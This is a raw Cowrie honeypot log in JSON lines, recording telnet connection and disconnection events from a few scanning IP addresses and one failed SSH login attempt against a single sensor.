{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":38644,"dst_ip":"10.17.0.5","dst_port":23,"session":"de67dcb6579a","protocol":"telnet","message":"New connection: 64.235.40.29:38644 (10.17.0.5:23) [session: de67dcb6579a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:49.401051Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":48514,"dst_ip":"10.17.0.5","dst_port":23,"session":"f1a8534108b1","protocol":"telnet","message":"New connection: 160.250.4.73:48514 (10.17.0.5:23) [session: f1a8534108b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:49.607000Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":48526,"dst_ip":"10.17.0.5","dst_port":23,"session":"4f6114471e78","protocol":"telnet","message":"New connection: 160.250.4.73:48526 (10.17.0.5:23) [session: 4f6114471e78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:49.711044Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":38652,"dst_ip":"10.17.0.5","dst_port":23,"session":"e1b20952ada2","protocol":"telnet","message":"New connection: 64.235.40.29:38652 (10.17.0.5:23) [session: e1b20952ada2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:49.778271Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.207.153.205","src_port":33784,"dst_ip":"10.17.0.5","dst_port":23,"session":"10afe9261815","protocol":"telnet","message":"New connection: 104.207.153.205:33784 (10.17.0.5:23) [session: 10afe9261815]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:49.921942Z"}
{"eventid":"cowrie.session.closed","duration":30.90323805809021,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:50.037379Z","src_ip":"64.235.40.29","session":"fc41189d98cb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.680845260620117,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:50.041419Z","src_ip":"64.235.40.29","session":"ea01ad52d089","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.2112774848938,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:50.095685Z","src_ip":"64.235.40.29","session":"498f2bcdecf4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.87144637107849,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:50.117443Z","src_ip":"64.235.40.29","session":"e752ddc0914f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.472475290298462,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:50.121263Z","src_ip":"160.250.4.73","session":"6b2219a8a5a3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.862695693969727,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:50.183270Z","src_ip":"195.154.29.177","session":"05026367e122","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.207.153.205","src_port":33796,"dst_ip":"10.17.0.5","dst_port":23,"session":"e6e77cfe1a22","protocol":"telnet","message":"New connection: 104.207.153.205:33796 (10.17.0.5:23) [session: e6e77cfe1a22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:50.198130Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":38662,"dst_ip":"10.17.0.5","dst_port":23,"session":"27d6012aa875","protocol":"telnet","message":"New connection: 64.235.40.29:38662 (10.17.0.5:23) [session: 27d6012aa875]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:50.697856Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":38664,"dst_ip":"10.17.0.5","dst_port":23,"session":"f5319f62fed3","protocol":"telnet","message":"New connection: 64.235.40.29:38664 (10.17.0.5:23) [session: f5319f62fed3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:51.002667Z"}
{"eventid":"cowrie.session.closed","duration":30.739388465881348,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:51.053010Z","src_ip":"64.235.40.29","session":"731131eb911e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.660563945770264,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:51.058113Z","src_ip":"64.235.40.29","session":"43eaa85f1b2b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.744006156921387,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:51.068066Z","src_ip":"64.235.40.29","session":"7523f5b7cf2d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.765690565109253,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:51.086205Z","src_ip":"64.235.40.29","session":"6c0a8ed51acb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.531084775924683,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:51.103765Z","src_ip":"64.235.40.29","session":"695b8f93e85f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":38678,"dst_ip":"10.17.0.5","dst_port":23,"session":"5f3be75c8b8b","protocol":"telnet","message":"New connection: 64.235.40.29:38678 (10.17.0.5:23) [session: 5f3be75c8b8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:51.592381Z"}
{"eventid":"cowrie.session.closed","duration":30.986543655395508,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:51.881377Z","src_ip":"64.235.40.29","session":"05e421259406","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":38682,"dst_ip":"10.17.0.5","dst_port":23,"session":"de10b6d3bac3","protocol":"telnet","message":"New connection: 64.235.40.29:38682 (10.17.0.5:23) [session: de10b6d3bac3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:51.980921Z"}
{"eventid":"cowrie.session.closed","duration":31.83206081390381,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:51.991395Z","src_ip":"64.235.40.29","session":"6c9a8b916734","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.49172282218933,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:52.036076Z","src_ip":"64.235.40.29","session":"607c1db3cd09","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.46159267425537,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:52.113296Z","src_ip":"64.235.40.29","session":"981137f5134c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":38700,"dst_ip":"10.17.0.5","dst_port":23,"session":"6dbb97cc0a1c","protocol":"telnet","message":"New connection: 64.235.40.29:38700 (10.17.0.5:23) [session: 6dbb97cc0a1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:52.121756Z"}
{"eventid":"cowrie.session.closed","duration":30.880948781967163,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:52.272969Z","src_ip":"64.235.40.29","session":"10bb8ef8dd92","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":38680,"dst_ip":"10.17.0.5","dst_port":23,"session":"1daf60f5d2c8","protocol":"telnet","message":"New connection: 64.235.40.29:38680 (10.17.0.5:23) [session: 1daf60f5d2c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:52.716586Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":48534,"dst_ip":"10.17.0.5","dst_port":23,"session":"5f32dbe655c3","protocol":"telnet","message":"New connection: 160.250.4.73:48534 (10.17.0.5:23) [session: 5f32dbe655c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:52.983821Z"}
{"eventid":"cowrie.session.closed","duration":30.74362015724182,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:53.061260Z","src_ip":"64.235.40.29","session":"e57c84d72c69","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.631863117218018,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:53.076838Z","src_ip":"64.235.40.29","session":"ab5bc8759fb9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.502674102783203,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:53.102942Z","src_ip":"64.235.40.29","session":"f8dff33d56bc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.024691104888916,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:53.108240Z","src_ip":"64.235.40.29","session":"d22fa5fcdab2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.108822345733643,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:53.140959Z","src_ip":"104.207.153.205","session":"7bc147606484","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.986623525619507,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:53.145506Z","src_ip":"64.235.40.29","session":"a7a629f760f1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.38080906867981,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:53.153396Z","src_ip":"160.250.4.73","session":"ab845605bd7a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.50611424446106,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:53.183785Z","src_ip":"160.250.4.73","session":"a69f27193334","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.207.153.205","src_port":33804,"dst_ip":"10.17.0.5","dst_port":23,"session":"1d052692f6d8","protocol":"telnet","message":"New connection: 104.207.153.205:33804 (10.17.0.5:23) [session: 1d052692f6d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:53.188779Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":38712,"dst_ip":"10.17.0.5","dst_port":23,"session":"866fab95d46a","protocol":"telnet","message":"New connection: 64.235.40.29:38712 (10.17.0.5:23) [session: 866fab95d46a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:53.333483Z"}
{"eventid":"cowrie.session.closed","duration":30.49634885787964,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:53.378835Z","src_ip":"64.235.40.29","session":"ed72d69cc654","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":38720,"dst_ip":"10.17.0.5","dst_port":23,"session":"ef4fbc583ac4","protocol":"telnet","message":"New connection: 64.235.40.29:38720 (10.17.0.5:23) [session: ef4fbc583ac4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:53.397538Z"}
{"eventid":"cowrie.session.closed","duration":30.38800883293152,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:54.042549Z","src_ip":"64.235.40.29","session":"282e2b030f0a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.66649031639099,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:54.075264Z","src_ip":"64.235.40.29","session":"2fba8128e112","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.75435519218445,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:54.081132Z","src_ip":"64.235.40.29","session":"e9375bc707f5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.30744695663452,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:54.158934Z","src_ip":"64.235.40.29","session":"0abc1b0c4698","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.246928453445435,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:54.245242Z","src_ip":"160.250.4.73","session":"c8609826db35","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":38724,"dst_ip":"10.17.0.5","dst_port":23,"session":"65f4290ea7b4","protocol":"telnet","message":"New connection: 64.235.40.29:38724 (10.17.0.5:23) [session: 65f4290ea7b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:54.265605Z"}
{"eventid":"cowrie.session.closed","duration":30.79816722869873,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:54.456922Z","src_ip":"64.235.40.29","session":"1424c689798e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":38730,"dst_ip":"10.17.0.5","dst_port":23,"session":"498daa77ae6a","protocol":"telnet","message":"New connection: 64.235.40.29:38730 (10.17.0.5:23) [session: 498daa77ae6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:54.499411Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":38732,"dst_ip":"10.17.0.5","dst_port":23,"session":"e1d133bb98cb","protocol":"telnet","message":"New connection: 64.235.40.29:38732 (10.17.0.5:23) [session: e1d133bb98cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:54.661318Z"}
{"eventid":"cowrie.session.closed","duration":30.892202138900757,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:55.066756Z","src_ip":"64.235.40.29","session":"62ed2f62af5d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.35910391807556,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:55.207067Z","src_ip":"160.250.4.73","session":"d10123aa48cb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"195.154.29.177","src_port":32946,"dst_ip":"10.17.0.5","dst_port":23,"session":"b881fd5ac82c","protocol":"telnet","message":"New connection: 195.154.29.177:32946 (10.17.0.5:23) [session: b881fd5ac82c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:55.212780Z"}
{"eventid":"cowrie.session.closed","duration":30.38699960708618,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:55.218129Z","src_ip":"64.235.40.29","session":"a6536fee26b4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":50746,"dst_ip":"10.17.0.5","dst_port":23,"session":"303f20aaa31c","protocol":"telnet","message":"New connection: 64.235.40.29:50746 (10.17.0.5:23) [session: 303f20aaa31c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:55.348234Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":48550,"dst_ip":"10.17.0.5","dst_port":23,"session":"4ecfc0d9146b","protocol":"telnet","message":"New connection: 160.250.4.73:48550 (10.17.0.5:23) [session: 4ecfc0d9146b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:55.466712Z"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"1","message":"login attempt [deploy/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:55.666252Z","src_ip":"122.168.114.167","session":"8b9e16cca694","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.614408016204834,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:55.710931Z","src_ip":"64.235.40.29","session":"0dfae9dcfcf8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":50750,"dst_ip":"10.17.0.5","dst_port":23,"session":"4e35235782f8","protocol":"telnet","message":"New connection: 64.235.40.29:50750 (10.17.0.5:23) [session: 4e35235782f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:55.876125Z"}
{"eventid":"cowrie.session.closed","duration":30.231572151184082,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:56.100050Z","src_ip":"64.235.40.29","session":"03595cb8fafd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":50752,"dst_ip":"10.17.0.5","dst_port":23,"session":"adbef76968d3","protocol":"telnet","message":"New connection: 64.235.40.29:50752 (10.17.0.5:23) [session: adbef76968d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:56.152600Z"}
{"eventid":"cowrie.session.closed","duration":30.998356342315674,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:56.161310Z","src_ip":"64.235.40.29","session":"e6228fad0c33","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":50768,"dst_ip":"10.17.0.5","dst_port":23,"session":"1a1734525a05","protocol":"telnet","message":"New connection: 64.235.40.29:50768 (10.17.0.5:23) [session: 1a1734525a05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:56.351453Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":50774,"dst_ip":"10.17.0.5","dst_port":23,"session":"aad69472bb50","protocol":"telnet","message":"New connection: 64.235.40.29:50774 (10.17.0.5:23) [session: aad69472bb50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:56.716312Z"}
{"eventid":"cowrie.session.closed","duration":31.639137029647827,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:56.842525Z","src_ip":"64.235.40.29","session":"e44923a693e4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":50780,"dst_ip":"10.17.0.5","dst_port":23,"session":"fada7dcff0e2","protocol":"telnet","message":"New connection: 64.235.40.29:50780 (10.17.0.5:23) [session: fada7dcff0e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:56.938675Z"}
{"eventid":"cowrie.session.closed","duration":30.161527633666992,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:57.035539Z","src_ip":"64.235.40.29","session":"6e7844c20bc8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.912407636642456,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:57.069648Z","src_ip":"64.235.40.29","session":"93609a843813","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.029434204101562,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:57.084898Z","src_ip":"64.235.40.29","session":"48bb24fba98e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.007190465927124,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:57.434426Z","src_ip":"64.235.40.29","session":"827f1287415e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":50788,"dst_ip":"10.17.0.5","dst_port":23,"session":"46396ccd8558","protocol":"telnet","message":"New connection: 64.235.40.29:50788 (10.17.0.5:23) [session: 46396ccd8558]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:57.464373Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.217","src_port":56664,"dst_ip":"10.17.0.5","dst_port":23,"session":"2803e7d6abae","protocol":"telnet","message":"New connection: 135.148.33.217:56664 (10.17.0.5:23) [session: 2803e7d6abae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:57.588270Z"}
{"eventid":"cowrie.session.closed","duration":31.16343855857849,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:57.613561Z","src_ip":"160.250.4.73","session":"8546b36bf98c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.82992672920227,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:57.714515Z","src_ip":"195.154.29.177","session":"010e391c7d07","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.713615894317627,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:57.969348Z","src_ip":"64.235.40.29","session":"f19b69b87b0f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":50790,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba04d86b4666","protocol":"telnet","message":"New connection: 64.235.40.29:50790 (10.17.0.5:23) [session: ba04d86b4666]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:58.029903Z"}
{"eventid":"cowrie.session.closed","duration":30.776252269744873,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:58.113387Z","src_ip":"64.235.40.29","session":"895030d17794","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.654250860214233,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:58.118987Z","src_ip":"64.235.40.29","session":"401e6efaef9e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.35019612312317,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:58.361610Z","src_ip":"160.250.4.73","session":"959dac7ad830","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.388242959976196,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:58.365336Z","src_ip":"64.235.40.29","session":"702e3e54c3b0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.217","src_port":57244,"dst_ip":"10.17.0.5","dst_port":23,"session":"f12d79067a41","protocol":"telnet","message":"New connection: 135.148.33.217:57244 (10.17.0.5:23) [session: f12d79067a41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:58.368952Z"}
{"eventid":"cowrie.session.closed","duration":31.57722806930542,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:58.794429Z","src_ip":"64.235.40.29","session":"6b0c6d08691e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.11317014694214,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:58.842947Z","src_ip":"64.235.40.29","session":"db8001356f31","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.158254861831665,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:59.219073Z","src_ip":"64.235.40.29","session":"e4b4ccb9a788","protocol":"telnet"}
